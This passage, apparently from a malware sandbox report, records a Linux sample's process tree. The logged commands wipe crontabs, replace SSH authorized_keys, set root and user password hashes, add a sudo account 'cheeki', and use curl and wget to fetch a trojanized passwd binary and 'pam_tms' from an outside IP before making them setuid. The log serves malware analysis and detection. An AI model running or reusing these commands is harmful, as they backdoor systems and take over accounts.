                                                                                                                                                                                                                                  • /usr/sbin/lsb_release
                                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                      PID:1684
                                                                                                                                                                                                                                    • /usr/bin/lsb_release
                                                                                                                                                                                                                                      lsb_release -c -s
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                      • System Information Discovery
                                                                                                                                                                                                                                      PID:1684
                                                                                                                                                                                                                                    • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                                      lsb_release -c -s
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                      • System Information Discovery
                                                                                                                                                                                                                                      PID:1685
                                                                                                                                                                                                                                    • /usr/local/bin/lsb_release
                                                                                                                                                                                                                                      lsb_release -c -s
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                      • System Information Discovery
                                                                                                                                                                                                                                      PID:1685
                                                                                                                                                                                                                                    • /usr/sbin/lsb_release
                                                                                                                                                                                                                                      lsb_release -c -s
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                      • System Information Discovery
                                                                                                                                                                                                                                      PID:1685
                                                                                                                                                                                                                                    • /usr/bin/lsb_release
                                                                                                                                                                                                                                      lsb_release -c -s
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                        PID:1685
                                                                                                                                                                                                                                      • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                                        lsb_release -c -s
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                        • System Information Discovery
                                                                                                                                                                                                                                        PID:1686
                                                                                                                                                                                                                                      • /usr/local/bin/lsb_release
                                                                                                                                                                                                                                        lsb_release -c -s
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                        • System Information Discovery
                                                                                                                                                                                                                                        PID:1686
                                                                                                                                                                                                                                      • /usr/sbin/lsb_release
                                                                                                                                                                                                                                        lsb_release -c -s
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                        • System Information Discovery
                                                                                                                                                                                                                                        PID:1686
                                                                                                                                                                                                                                      • /usr/bin/lsb_release
                                                                                                                                                                                                                                        lsb_release -c -s
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                        • System Information Discovery
                                                                                                                                                                                                                                        PID:1686
                                                                                                                                                                                                                                      • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                                        lsb_release -c -s
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                          PID:1687
                                                                                                                                                                                                                                        • /usr/local/bin/lsb_release
                                                                                                                                                                                                                                          lsb_release -c -s
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                          • System Information Discovery
                                                                                                                                                                                                                                          PID:1687
                                                                                                                                                                                                                                        • /usr/sbin/lsb_release
                                                                                                                                                                                                                                          lsb_release -c -s
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                          • System Information Discovery
                                                                                                                                                                                                                                          PID:1687
                                                                                                                                                                                                                                        • /usr/bin/lsb_release
                                                                                                                                                                                                                                          lsb_release -c -s
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                          • System Information Discovery
                                                                                                                                                                                                                                          PID:1687
                                                                                                                                                                                                                                      • /usr/bin/mv
                                                                                                                                                                                                                                        mv /var/lib/update-notifier/tmp.yslDS5CLWR /var/lib/update-notifier/updates-available
                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                          PID:1688
                                                                                                                                                                                                                                        • /usr/bin/chmod
                                                                                                                                                                                                                                          chmod +r /var/lib/update-notifier/updates-available
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                            PID:1689
                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                            rm -f /var/lib/update-notifier/tmp.yslDS5CLWR
                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                              PID:1690
                                                                                                                                                                                                                                      • /usr/bin/tr
                                                                                                                                                                                                                                        tr "\\n" " "
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:1697
                                                                                                                                                                                                                                        • /usr/bin/cut
                                                                                                                                                                                                                                          cut -d: -f1
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:1696
                                                                                                                                                                                                                                          • /usr/bin/grep
                                                                                                                                                                                                                                            grep "/bin/bash\\|/bin/sh\\|/zsh\\|/fish"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:1695
                                                                                                                                                                                                                                            • /usr/bin/cat
                                                                                                                                                                                                                                              cat /etc/passwd
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:1694
                                                                                                                                                                                                                                              • /usr/bin/chmod
                                                                                                                                                                                                                                                chmod +x /var/tmp/.xrx/uninstall.sh
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                PID:1698
                                                                                                                                                                                                                                              • /var/tmp/.xrx/uninstall.sh
                                                                                                                                                                                                                                                /var/tmp/.xrx/uninstall.sh 2
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:1699
                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                  rm -rf /var/tmp/.xrx/uninstall.sh
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:1700
                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                    crontab -r
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:1701
                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                      chattr -ia /etc/crontab
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                                                                                      PID:1702
                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                      rm -rf /etc/crontab
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:1703
                                                                                                                                                                                                                                                      • /usr/bin/touch
                                                                                                                                                                                                                                                        touch /etc/crontab
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Creates/modifies Cron job
                                                                                                                                                                                                                                                        PID:1704
                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                        pkill -9 xri
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:1705
                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                        pkill -9 xrx
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:1706
                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                        pkill -STOP xxi
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:1707
                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                        pkill -STOP xmu
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:1708
                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                        pkill -STOP dhcpi
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:1709
                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                        chattr -i /usr/lib/updated 2
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                                                                                        PID:1710
                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                        chattr -a /usr/lib/updated 2
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                                                                                        PID:1711
                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                        rm -rf /usr/lib/updated
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:1712
                                                                                                                                                                                                                                                        • /tmp/xrx/init.sh
                                                                                                                                                                                                                                                          ./init.sh
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:1713
                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                            chattr -i /root/.ssh/authorized_keys
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                            PID:1714
                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                            chattr -a /root/.ssh/authorized_keys
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                            PID:1715
                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                            rm -rf /root/.ssh/authorized_keys
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:1716
                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                              rm -rf /root/.ssh/authorized_keys2
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:1717
                                                                                                                                                                                                                                                              • /usr/bin/cp
                                                                                                                                                                                                                                                                cp key /root/.ssh/authorized_keys
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Adds new SSH keys
                                                                                                                                                                                                                                                                PID:1718
                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                chattr +ia /root/.ssh/authorized_keys
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                                                                                PID:1719
                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                chattr -ia /etc/shadow
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • OS Credential Dumping
                                                                                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                                                                                PID:1720
                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                chattr -ia /etc/passwd
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                                                                                PID:1721
                                                                                                                                                                                                                                                              • /usr/sbin/usermod
                                                                                                                                                                                                                                                                usermod -p "\$6\$8aivRNZIlSAxxOmo\$KEPo7Yx0FCNDiuD6j7.iqvyyzrMlS9wcMObJlVwnyLn9lWGqXEDnO3bdOLh3dxrFW559vfuBhjAk2FqfKcvZv/" root
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Modifies password files for system users/ groups
                                                                                                                                                                                                                                                                • OS Credential Dumping
                                                                                                                                                                                                                                                                PID:1722
                                                                                                                                                                                                                                                                • /usr/sbin/nscd
                                                                                                                                                                                                                                                                  nscd -i passwd
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                                                                                  PID:1723
                                                                                                                                                                                                                                                                • /usr/sbin/nscd
                                                                                                                                                                                                                                                                  nscd -i group
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                                                                                  PID:1724
                                                                                                                                                                                                                                                                • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                  sss_cache -UG
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:1725
                                                                                                                                                                                                                                                                  • /usr/sbin/nscd
                                                                                                                                                                                                                                                                    nscd -i passwd
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                                                                                    PID:1726
                                                                                                                                                                                                                                                                  • /usr/sbin/nscd
                                                                                                                                                                                                                                                                    nscd -i group
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                                                                                    PID:1727
                                                                                                                                                                                                                                                                  • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                    sss_cache -UG
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:1728
                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                    crontab -u root -r
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:1729
                                                                                                                                                                                                                                                                    • /usr/bin/sudo
                                                                                                                                                                                                                                                                      sudo -u root sh -c "echo \$HOME"
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                      • OS Credential Dumping
                                                                                                                                                                                                                                                                      • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                                                                                                                                                                                                      PID:1730
                                                                                                                                                                                                                                                                      • /usr/bin/sh
                                                                                                                                                                                                                                                                        sh -c "echo \$HOME"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:1731
                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                        rm -rf /root/.ssh/authorized_keys
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:1732
                                                                                                                                                                                                                                                                        • /usr/bin/cp
                                                                                                                                                                                                                                                                          cp /var/tmp/.xrx/key /root/.ssh/authorized_keys
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1733
                                                                                                                                                                                                                                                                          • /usr/sbin/usermod
                                                                                                                                                                                                                                                                            usermod -p "\$6\$8aivRNZIlSAxxOmo\$KEPo7Yx0FCNDiuD6j7.iqvyyzrMlS9wcMObJlVwnyLn9lWGqXEDnO3bdOLh3dxrFW559vfuBhjAk2FqfKcvZv/" user
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Modifies password files for system users/ groups
                                                                                                                                                                                                                                                                            • OS Credential Dumping
                                                                                                                                                                                                                                                                            PID:1734
                                                                                                                                                                                                                                                                            • /usr/sbin/nscd
                                                                                                                                                                                                                                                                              nscd -i passwd
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                              • Attempts to change immutable files
                                                                                                                                                                                                                                                                              PID:1735
                                                                                                                                                                                                                                                                            • /usr/sbin/nscd
                                                                                                                                                                                                                                                                              nscd -i group
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                              • Attempts to change immutable files
                                                                                                                                                                                                                                                                              PID:1736
                                                                                                                                                                                                                                                                            • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                              sss_cache -UG
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:1737
                                                                                                                                                                                                                                                                              • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                nscd -i passwd
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                                                                                                PID:1738
                                                                                                                                                                                                                                                                              • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                nscd -i group
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                                                                                                PID:1739
                                                                                                                                                                                                                                                                              • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                                sss_cache -UG
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:1740
                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                crontab -u user -r
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:1741
                                                                                                                                                                                                                                                                                • /usr/bin/sudo
                                                                                                                                                                                                                                                                                  sudo -u user sh -c "echo \$HOME"
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                  • OS Credential Dumping
                                                                                                                                                                                                                                                                                  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                                                                                                                                                                                                                  PID:1742
                                                                                                                                                                                                                                                                                  • /usr/bin/sh
                                                                                                                                                                                                                                                                                    sh -c "echo \$HOME"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:1743
                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                    rm -rf /home/user/.ssh/authorized_keys
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:1744
                                                                                                                                                                                                                                                                                    • /usr/bin/cp
                                                                                                                                                                                                                                                                                      cp /var/tmp/.xrx/key /home/user/.ssh/authorized_keys
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:1745
                                                                                                                                                                                                                                                                                      • /usr/sbin/usermod
                                                                                                                                                                                                                                                                                        usermod -p "\$6\$8aivRNZIlSAxxOmo\$KEPo7Yx0FCNDiuD6j7.iqvyyzrMlS9wcMObJlVwnyLn9lWGqXEDnO3bdOLh3dxrFW559vfuBhjAk2FqfKcvZv/" root
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Modifies password files for system users/ groups
                                                                                                                                                                                                                                                                                        • OS Credential Dumping
                                                                                                                                                                                                                                                                                        PID:1746
                                                                                                                                                                                                                                                                                        • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                          nscd -i passwd
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                                                                                                                          PID:1747
                                                                                                                                                                                                                                                                                        • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                          nscd -i group
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                                                                                                                          PID:1748
                                                                                                                                                                                                                                                                                        • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                                          sss_cache -UG
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:1749
                                                                                                                                                                                                                                                                                          • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                            nscd -i passwd
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                            PID:1750
                                                                                                                                                                                                                                                                                          • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                            nscd -i group
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                            PID:1751
                                                                                                                                                                                                                                                                                          • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                                            sss_cache -UG
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:1752
                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                            chattr -iae /bin/passwd
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                            PID:1753
                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                            chattr -iae /usr/bin/passwd
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                            PID:1754
                                                                                                                                                                                                                                                                                          • /usr/bin/mv
                                                                                                                                                                                                                                                                                            mv /bin/passwd /bin/passwd.orig
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:1755
                                                                                                                                                                                                                                                                                            • /usr/bin/mv
                                                                                                                                                                                                                                                                                              mv /usr/bin/passwd /usr/bin/passwd.orig
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:1756
                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                curl -sO http://185.252.178.82:6972/passwd
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:1757
                                                                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                                                                  wget -q http://185.252.178.82:6972/passwd
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:1759
                                                                                                                                                                                                                                                                                                  • /usr/bin/chmod
                                                                                                                                                                                                                                                                                                    chmod 4755 /bin/passwd
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                    PID:1760
                                                                                                                                                                                                                                                                                                  • /usr/bin/chmod
                                                                                                                                                                                                                                                                                                    chmod u+s /bin/passwd
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Modifies special file permissions
                                                                                                                                                                                                                                                                                                    PID:1761
                                                                                                                                                                                                                                                                                                  • /usr/bin/cp
                                                                                                                                                                                                                                                                                                    cp /bin/passwd /usr/bin/passwd
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:1762
                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                      curl -sO http://185.252.178.82:6972/pam_tms
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:1763
                                                                                                                                                                                                                                                                                                      • /usr/bin/wget
                                                                                                                                                                                                                                                                                                        wget -q http://185.252.178.82:6972/pam_tms
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:1765
                                                                                                                                                                                                                                                                                                        • /usr/bin/chmod
                                                                                                                                                                                                                                                                                                          chmod +x /sbin/pam_tms
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                          • Modifies special file permissions
                                                                                                                                                                                                                                                                                                          PID:1766
                                                                                                                                                                                                                                                                                                        • /usr/bin/grep
                                                                                                                                                                                                                                                                                                          grep -q pam_tms /etc/pam.d/common-auth
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:1767
                                                                                                                                                                                                                                                                                                          • /usr/sbin/useradd
                                                                                                                                                                                                                                                                                                            useradd cheeki
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Modifies password files for system users/ groups
                                                                                                                                                                                                                                                                                                            • OS Credential Dumping
                                                                                                                                                                                                                                                                                                            • Adds a user to the system
                                                                                                                                                                                                                                                                                                            PID:1768
                                                                                                                                                                                                                                                                                                            • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                              nscd -i passwd
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                              PID:1769
                                                                                                                                                                                                                                                                                                            • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                              nscd -i group
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                              PID:1770
                                                                                                                                                                                                                                                                                                            • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                                                              sss_cache -UG
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:1771
                                                                                                                                                                                                                                                                                                              • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                                nscd -i passwd
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                PID:1772
                                                                                                                                                                                                                                                                                                              • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                                nscd -i group
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                PID:1773
                                                                                                                                                                                                                                                                                                              • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                                                                sss_cache -UG
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:1774
                                                                                                                                                                                                                                                                                                              • /usr/sbin/usermod
                                                                                                                                                                                                                                                                                                                usermod -aG sudo cheeki
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                • Modifies password files for system users/ groups
                                                                                                                                                                                                                                                                                                                • OS Credential Dumping
                                                                                                                                                                                                                                                                                                                • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                                                                                                                                                                                                                                                PID:1775
                                                                                                                                                                                                                                                                                                                • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                                  nscd -i passwd
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                  PID:1776
                                                                                                                                                                                                                                                                                                                • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                                  nscd -i group
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                  PID:1777
                                                                                                                                                                                                                                                                                                                • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                                                                  sss_cache -UG
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:1778
                                                                                                                                                                                                                                                                                                                  • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                                    nscd -i passwd
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                    PID:1779
                                                                                                                                                                                                                                                                                                                  • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                                    nscd -i group
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                    PID:1780
                                                                                                                                                                                                                                                                                                                  • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                                                                    sss_cache -UG
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:1781
                                                                                                                                                                                                                                                                                                                  • /usr/sbin/usermod
                                                                                                                                                                                                                                                                                                                    usermod -aG wheel cheeki
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:1782
                                                                                                                                                                                                                                                                                                                    • /usr/sbin/usermod
                                                                                                                                                                                                                                                                                                                      usermod -p "\$6\$vrC8Hya.mmeUeIem\$Li01KI3RQUpyYepjXUhHF23fTle/wXqAoR0xUFo697faBvmsuXJBTMMK89vGf1YHzhztRGGsNbA/eTIIRXy5Y/" cheeki
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                      • Modifies password files for system users/ groups
                                                                                                                                                                                                                                                                                                                      • OS Credential Dumping
                                                                                                                                                                                                                                                                                                                      PID:1783
                                                                                                                                                                                                                                                                                                                      • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                                        nscd -i passwd
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                        PID:1784
                                                                                                                                                                                                                                                                                                                      • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                                        nscd -i group
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                        PID:1785
                                                                                                                                                                                                                                                                                                                      • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                                                                        sss_cache -UG
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:1786
                                                                                                                                                                                                                                                                                                                        • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                                          nscd -i passwd
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                          PID:1787
                                                                                                                                                                                                                                                                                                                        • /usr/sbin/nscd
                                                                                                                                                                                                                                                                                                                          nscd -i group
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                          PID:1788
                                                                                                                                                                                                                                                                                                                        • /usr/sbin/sss_cache
                                                                                                                                                                                                                                                                                                                          sss_cache -UG
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:1789
                                                                                                                                                                                                                                                                                                                        • /usr/bin/mv
                                                                                                                                                                                                                                                                                                                          mv /var/tmp/.xrx/key /home/cheeki/.ssh/authorized_keys
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:1790
                                                                                                                                                                                                                                                                                                                          • /usr/bin/mkdir
                                                                                                                                                                                                                                                                                                                            mkdir /var/tmp/.x
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:1791
                                                                                                                                                                                                                                                                                                                            • /usr/bin/mv
                                                                                                                                                                                                                                                                                                                              mv /var/tmp/.xrx/secure /var/tmp/.x/secure
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:1792
                                                                                                                                                                                                                                                                                                                              • /usr/bin/chmod
